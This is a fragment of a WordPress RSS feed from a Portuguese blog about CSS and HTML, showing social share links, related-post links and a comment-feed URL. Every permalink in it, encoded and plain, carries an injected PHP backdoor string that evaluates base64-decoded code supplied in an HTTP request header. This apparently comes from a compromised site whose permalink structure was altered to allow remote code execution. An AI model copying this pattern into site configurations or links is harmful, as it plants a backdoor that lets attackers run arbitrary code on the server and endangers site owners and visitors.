	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Organizando%20seu%20c%C3%B3digo%20CSS" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Organizando%20seu%20c%C3%B3digo%20CSS&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/04/03/cada-um-no-seu-quadrado/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Cada um no seu quadrado'>Cada um no seu quadrado</a></li><li><a href='http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Use a Cabeça! (Head First) HTML com CSS &#038; XHTML'>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
